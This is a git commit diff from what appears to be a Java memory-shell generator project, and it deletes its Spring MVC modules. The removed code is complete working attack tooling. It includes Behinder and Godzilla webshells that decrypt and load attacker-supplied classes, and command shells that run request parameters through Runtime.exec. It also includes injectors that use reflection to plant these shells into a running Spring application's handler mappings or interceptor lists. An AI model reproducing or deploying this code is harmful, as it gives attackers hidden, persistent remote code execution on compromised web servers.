feat: support spring webflux shell generate (resolved #6)

memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java

@@ -1,107 +0,0 @@
-package com.reajason.javaweb.memshell.springmvc.behinder;
-
-import org.springframework.web.servlet.ModelAndView;
-import org.springframework.web.servlet.mvc.Controller;
-
-import javax.crypto.Cipher;
-import javax.crypto.spec.SecretKeySpec;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-import javax.servlet.http.HttpSession;
-import java.lang.reflect.Field;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-public class BehinderControllerHandler extends ClassLoader implements Controller {
-    public String pass = "{{pass}}";
-    public String headerName = "{{headerName}}";
-    public String headerValue = "{{headerValue}}";
-
-    @SuppressWarnings("all")
-    public Class<?> g(byte[] b) {
-        return super.defineClass(b, 0, b.length);
-    }
-
-    public BehinderControllerHandler(ClassLoader c) {
-        super(c);
-    }
-
-
-    public BehinderControllerHandler() {
-    }
-
-    public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
-        System.out.println(response.getClass().getName());
-        if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
-            try {
-                HttpSession session = request.getSession();
-                Map<String, Object> obj = new HashMap<String, Object>(3);
-                obj.put("request", request);
-                obj.put("response", getInternalResponse(response));
-                obj.put("session", session);
-                session.setAttribute("u", this.pass);
-                Cipher c = Cipher.getInstance("AES");
-                c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
-                byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
-                Object instance = (new BehinderControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
-                instance.equals(obj);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-        return null;
-    }
-
-    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
-        while (true) {
-            try {
-                response = (HttpServletResponse) getFieldValue(response, "response");
-            } catch (Exception e) {
-                return response;
-            }
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) {
-        byte[] value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
-                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value;
-    }
-}

memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java

@@ -1,124 +0,0 @@
-package com.reajason.javaweb.memshell.springmvc.behinder;
-
-import org.springframework.web.servlet.AsyncHandlerInterceptor;
-import org.springframework.web.servlet.ModelAndView;
-
-import javax.crypto.Cipher;
-import javax.crypto.spec.SecretKeySpec;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-import javax.servlet.http.HttpSession;
-import java.lang.reflect.Field;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
-    public String pass = "{{pass}}";
-    public String headerName = "{{headerName}}";
-    public String headerValue = "{{headerValue}}";
-
-    @SuppressWarnings("all")
-    public Class<?> g(byte[] b) {
-        return super.defineClass(b, 0, b.length);
-    }
-
-    public BehinderInterceptor(ClassLoader c) {
-        super(c);
-    }
-
-
-    public BehinderInterceptor() {
-    }
-
-    @Override
-    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
-        if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
-            try {
-                HttpSession session = request.getSession();
-                Map<String, Object> obj = new HashMap<String, Object>(3);
-                obj.put("request", request);
-                obj.put("response", getInternalResponse(response));
-                obj.put("session", session);
-                session.setAttribute("u", this.pass);
-                Cipher c = Cipher.getInstance("AES");
-                c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
-                byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
-                Object instance = (new BehinderInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance();
-                instance.equals(obj);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-            return false;
-        } else {
-            return true;
-        }
-    }
-
-    public HttpServletResponse getInternalResponse(HttpServletResponse response) {
-        while (true) {
-            try {
-                response = (HttpServletResponse) getFieldValue(response, "response");
-            } catch (Exception e) {
-                return response;
-            }
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
-
-    @Override
-    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
-
-    }
-
-    @Override
-    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
-
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) {
-        byte[] value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
-                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value;
-    }
-
-    @Override
-    public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
-
-    }
-}

memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java

@@ -1,40 +0,0 @@
-package com.reajason.javaweb.memshell.springmvc.command;
-
-import org.springframework.web.servlet.ModelAndView;
-import org.springframework.web.servlet.mvc.Controller;
-
-import javax.servlet.ServletOutputStream;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-import java.io.InputStream;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-public class CommandControllerHandler implements Controller {
-    public String paramName = "{{paramName}}";
-
-
-    public CommandControllerHandler() {
-    }
-
-    public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
-        try {
-            String cmd = request.getParameter(paramName);
-            if (cmd != null) {
-                Process exec = Runtime.getRuntime().exec(cmd);
-                InputStream inputStream = exec.getInputStream();
-                ServletOutputStream outputStream = response.getOutputStream();
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-        return null;
-    }
-}

memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java

@@ -1,57 +0,0 @@
-package com.reajason.javaweb.memshell.springmvc.command;
-
-import org.springframework.web.servlet.AsyncHandlerInterceptor;
-import org.springframework.web.servlet.ModelAndView;
-
-import javax.servlet.ServletOutputStream;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-import java.io.InputStream;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-public class CommandInterceptor implements AsyncHandlerInterceptor {
-    public String paramName = "{{paramName}}";
-
-
-    public CommandInterceptor() {
-    }
-
-    @Override
-    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
-        try {
-            String cmd = request.getParameter(paramName);
-            if (cmd != null) {
-                Process exec = Runtime.getRuntime().exec(cmd);
-                InputStream inputStream = exec.getInputStream();
-                ServletOutputStream outputStream = response.getOutputStream();
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
-                return false;
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-        return true;
-    }
-
-    @Override
-    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
-
-    }
-
-    @Override
-    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
-
-    }
-
-    @Override
-    public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
-
-    }
-}

memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java

@@ -1,112 +0,0 @@
-package com.reajason.javaweb.memshell.springmvc.godzilla;
-
-import org.springframework.web.servlet.ModelAndView;
-import org.springframework.web.servlet.mvc.Controller;
-
-import javax.crypto.Cipher;
-import javax.crypto.spec.SecretKeySpec;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-import javax.servlet.http.HttpSession;
-import java.io.ByteArrayOutputStream;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-public class GodzillaControllerHandler extends ClassLoader implements Controller {
-    public String key = "{{key}}";
-    public String pass = "{{pass}}";
-    public String md5 = "{{md5}}";
-    public String headerName = "{{headerName}}";
-    public String headerValue = "{{headerValue}}";
-
-    public GodzillaControllerHandler() {
-    }
-
-    public GodzillaControllerHandler(ClassLoader parent) {
-        super(parent);
-    }
-
-    public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
-        if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
-            HttpSession session = request.getSession();
-            byte[] data = base64Decode(request.getParameter(pass));
-            data = this.x(data, false);
-            if (session.getAttribute("payload") == null) {
-                session.setAttribute("payload", (new GodzillaControllerHandler(this.getClass().getClassLoader())).Q(data));
-            } else {
-                request.setAttribute("parameters", data);
-                ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
-                Object f;
-                try {
-                    f = ((Class<?>) session.getAttribute("payload")).newInstance();
-                } catch (Exception e) {
-                    throw new RuntimeException(e);
-                }
-                f.equals(arrOut);
-                f.equals(request);
-                response.getWriter().write(md5.substring(0, 16));
-                f.toString();
-                response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
-                response.getWriter().write(md5.substring(16));
-            }
-        }
-        return null;
-    }
-
-
-    @SuppressWarnings("all")
-    public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Encoder");
-                Object encoder = base64.newInstance();
-                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value;
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) {
-        byte[] value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
-                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value;
-    }
-
-    @SuppressWarnings("all")
-    public Class<?> Q(byte[] cb) {
-        return super.defineClass(cb, 0, cb.length);
-    }
-
-    public byte[] x(byte[] s, boolean m) {
-        try {
-
-            Cipher c = Cipher.getInstance("AES");
-            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var4) {
-            return null;
-        }
-    }
-}

memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java

@@ -1,132 +0,0 @@
-package com.reajason.javaweb.memshell.springmvc.godzilla;
-
-import org.springframework.web.servlet.AsyncHandlerInterceptor;
-import org.springframework.web.servlet.ModelAndView;
-
-import javax.crypto.Cipher;
-import javax.crypto.spec.SecretKeySpec;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-import javax.servlet.http.HttpSession;
-import java.io.ByteArrayOutputStream;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
-    public String key = "{{key}}";
-    public String pass = "{{pass}}";
-    public String md5 = "{{md5}}";
-    public String headerName = "{{headerName}}";
-    public String headerValue = "{{headerValue}}";
-
-    public GodzillaInterceptor(ClassLoader c) {
-        super(c);
-    }
-
-    public GodzillaInterceptor() {
-    }
-
-    @Override
-    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
-        try {
-            if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
-                HttpSession session = request.getSession();
-                byte[] data = base64Decode(request.getParameter(pass));
-                data = this.x(data, false);
-                if (session.getAttribute("payload") == null) {
-                    session.setAttribute("payload", (new GodzillaInterceptor(this.getClass().getClassLoader())).Q(data));
-                } else {
-                    request.setAttribute("parameters", data);
-                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
-                    Object f;
-                    try {
-                        f = ((Class<?>) session.getAttribute("payload")).newInstance();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                    f.equals(arrOut);
-                    f.equals(request);
-                    response.getWriter().write(md5.substring(0, 16));
-                    f.toString();
-                    response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
-                    response.getWriter().write(md5.substring(16));
-                }
-                return false;
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-        return true;
-    }
-
-    @Override
-    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
-
-    }
-
-    @Override
-    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
-
-    }
-
-    @SuppressWarnings("all")
-    public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Encoder");
-                Object encoder = base64.newInstance();
-                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value;
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) {
-        byte[] value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
-                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value;
-    }
-
-    @SuppressWarnings("all")
-    public Class<?> Q(byte[] cb) {
-        return super.defineClass(cb, 0, cb.length);
-    }
-
-    public byte[] x(byte[] s, boolean m) {
-        try {
-
-            Cipher c = Cipher.getInstance("AES");
-            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var4) {
-            return null;
-        }
-    }
-
-    @Override
-    public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
-
-    }
-}

memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringControllerHandlerInjector.java

@@ -1,204 +0,0 @@
-package com.reajason.javaweb.memshell.springmvc.injector;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.lang.reflect.Field;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.util.Map;
-import java.util.Set;
-import java.util.zip.GZIPInputStream;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-public class SpringControllerHandlerInjector {
-
-    static {
-        new SpringControllerHandlerInjector();
-    }
-
-    public String getUrlPattern() {
-        return "{{urlPattern}}";
-    }
-
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() throws IOException {
-        return "{{base64Str}}";
-    }
-
-    public SpringControllerHandlerInjector() {
-        try {
-            Object context = getContext();
-            Object interceptor = getShell();
-            inject(context, interceptor);
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
-
-    public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
-        try {
-            return classLoader.loadClass("javax.servlet.ServletContext");
-        } catch (Throwable e) {
-            return classLoader.loadClass("jakarta.servlet.ServletContext");
-        }
-    }
-
-    @SuppressWarnings("unchecked")
-    public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
-        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        Object context = null;
-        try {
-            Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
-            Object request = invokeMethod(requestAttributes, "getRequest");
-            Object session = invokeMethod(request, "getSession");
-            Object servletContext = invokeMethod(session, "getServletContext");
-            context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-        if (context == null) {
-            try {
-                Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
-                Object applicationContext = applicationContexts.iterator().next();
-                if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
-                    context = applicationContext;
-                }
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-        return context;
-    }
-
-    private Object getShell() throws Exception {
-        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        Object interceptor = null;
-        try {
-            interceptor = classLoader.loadClass(getClassName()).newInstance();
-        } catch (Exception e) {
-            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
-            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
-            defineClass.setAccessible(true);
-            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            interceptor = clazz.newInstance();
-        }
-        return interceptor;
-    }
-
-    @SuppressWarnings("unchecked")
-    public void inject(Object context, Object controller) throws Exception {
-        Class<?> beanNameUrlHandlerMappingClass = null;
-        try {
-            beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping");
-        } catch (ClassNotFoundException e) {
-            beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.SimpleUrlHandlerMapping", false, context.getClass().getClassLoader());
-        }
-        Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass});
-        Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap");
-        if (handlerMap.get(getUrlPattern()) != null) {
-            System.out.println("controller already injected");
-            return;
-        }
-        handlerMap.put(getUrlPattern(), controller);
-        System.out.println("controller injected successfully");
-    }
-
-    @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName) throws
-            Exception {
-        return invokeMethod(obj, methodName, new Class[0], new Object[0]);
-    }
-
-    @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
-            Exception {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        Method method = null;
-        while (clazz != null && method == null) {
-            try {
-                if (paramClazz == null) {
-                    method = clazz.getDeclaredMethod(methodName);
-                } else {
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
-                }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) throws Exception {
-        Class<?> decoderClass;
-        try {
-            decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        } catch (Exception ignored) {
-            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
-        ByteArrayOutputStream out = new ByteArrayOutputStream();
-        GZIPInputStream gzipInputStream = null;
-
-        try {
-            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
-            byte[] buffer = new byte[4096];
-            int n;
-            while ((n = gzipInputStream.read(buffer)) > 0) {
-                out.write(buffer, 0, n);
-            }
-        } finally {
-            if (gzipInputStream != null) {
-                try {
-                    gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
-            }
-            out.close();
-        }
-        return out.toByteArray();
-    }
-
-    @SuppressWarnings("all")
-    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        for (Class<?> clazz = obj.getClass();
-             clazz != Object.class;
-             clazz = clazz.getSuperclass()) {
-            try {
-                return clazz.getDeclaredField(name);
-            } catch (NoSuchFieldException ignored) {
-
-            }
-        }
-        throw new NoSuchFieldException(name);
-    }
-
-
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        try {
-            Field field = getField(obj, name);
-            field.setAccessible(true);
-            return field.get(obj);
-        } catch (NoSuchFieldException ignored) {
-        }
-        return null;
-    }
-}

memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java

@@ -1,201 +0,0 @@
-package com.reajason.javaweb.memshell.springmvc.injector;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.lang.reflect.Field;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.util.List;
-import java.util.Set;
-import java.util.zip.GZIPInputStream;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-public class SpringInterceptorInjector {
-
-    static {
-        new SpringInterceptorInjector();
-    }
-
-    public String getUrlPattern() {
-        return "{{urlPattern}}";
-    }
-
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() throws IOException {
-        return "{{base64Str}}";
-    }
-
-    public SpringInterceptorInjector() {
-        try {
-            Object context = getContext();
-            Object interceptor = getShell();
-            inject(context, interceptor);
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
-
-    public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
-        try {
-            return classLoader.loadClass("javax.servlet.ServletContext");
-        } catch (Throwable e) {
-            return classLoader.loadClass("jakarta.servlet.ServletContext");
-        }
-    }
-
-    @SuppressWarnings("unchecked")
-    public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
-        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        Object context = null;
-        try {
-            Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
-            Object request = invokeMethod(requestAttributes, "getRequest");
-            Object session = invokeMethod(request, "getSession");
-            Object servletContext = invokeMethod(session, "getServletContext");
-            context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-        if (context == null) {
-            try {
-                Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
-                Object applicationContext = applicationContexts.iterator().next();
-                if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
-                    context = applicationContext;
-                }
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-        return context;
-    }
-
-    private Object getShell() throws Exception {
-        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        Object interceptor = null;
-        try {
-            interceptor = classLoader.loadClass(getClassName()).newInstance();
-        } catch (Exception e) {
-            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
-            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
-            defineClass.setAccessible(true);
-            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            interceptor = clazz.newInstance();
-        }
-        return interceptor;
-    }
-
-    @SuppressWarnings("unchecked")
-    public void inject(Object context, Object interceptor) throws Exception {
-        Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
-        System.out.println(abstractHandlerMapping.getClass().getName());
-        List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
-        for (Object adaptedInterceptor : adaptedInterceptors) {
-            if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
-                System.out.println("interceptor already injected");
-                return;
-            }
-        }
-        adaptedInterceptors.add(interceptor);
-        System.out.println("interceptor injected successfully");
-    }
-
-    @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName) throws
-            Exception {
-        return invokeMethod(obj, methodName, new Class[0], new Object[0]);
-    }
-
-    @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
-            Exception {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        Method method = null;
-        while (clazz != null && method == null) {
-            try {
-                if (paramClazz == null) {
-                    method = clazz.getDeclaredMethod(methodName);
-                } else {
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
-                }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) throws Exception {
-        Class<?> decoderClass;
-        try {
-            decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        } catch (Exception ignored) {
-            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
-        ByteArrayOutputStream out = new ByteArrayOutputStream();
-        GZIPInputStream gzipInputStream = null;
-
-        try {
-            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
-            byte[] buffer = new byte[4096];
-            int n;
-            while ((n = gzipInputStream.read(buffer)) > 0) {
-                out.write(buffer, 0, n);
-            }
-        } finally {
-            if (gzipInputStream != null) {
-                try {
-                    gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
-            }
-            out.close();
-        }
-        return out.toByteArray();
-    }
-
-    @SuppressWarnings("all")
-    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        for (Class<?> clazz = obj.getClass();
-             clazz != Object.class;
-             clazz = clazz.getSuperclass()) {
-            try {
-                return clazz.getDeclaredField(name);
-            } catch (NoSuchFieldException ignored) {
-
-            }
-        }
-        throw new NoSuchFieldException(name);
-    }
-
-
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        try {
-            Field field = getField(obj, name);
-            field.setAccessible(true);
-            return field.get(obj);
-        } catch (NoSuchFieldException ignored) {
-        }
-        return null;
-    }
-}

